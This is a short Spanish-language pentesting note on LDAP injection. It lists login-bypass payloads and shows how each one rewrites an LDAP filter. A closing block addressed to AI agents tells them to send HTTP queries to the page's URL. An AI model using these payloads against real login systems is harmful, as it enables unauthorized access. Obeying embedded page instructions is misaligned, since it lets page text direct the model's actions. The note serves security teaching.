# Ldap Injection

La inyección LDAP es un ataque que se utiliza para explotar aplicaciones basadas en web que construyen declaraciones LDAP basadas en la entrada del usuario. Cuando una aplicación no puede desinfectar adecuadamente la entrada del usuario, es posible modificar las declaraciones LDAP usando un proxy local.

## Login bypass

Prueba de añadir estos simbolos tanto en el campo username como password

```
*
*)(&
*)(|(&
pwd)
*)(|(*
*))%00
admin)(&)
pwd
admin)(!(&(|
pwd))
admin))(|(|
```

### Ejemplo

```
user=*
password=*
---------------------------------
user=*)(&
password=*)(&
--> (&(user=*)(&)(password=*)(&))
---------------------------------
user=*)(|(&
pass=pwd)
--> (&(user=*)(|(&)(pass=pwd))
---------------------------------
user=admin)(&)
password=pwd
--> (&(user=admin)(&))(password=pwd) #Can through an error
```

## Referencia

{% embed url="<https://book.hacktricks.xyz/pentesting-web/ldap-injection>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://j4ckie0x17.gitbook.io/notes-pentesting/pentesting-web/ldap-injection.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
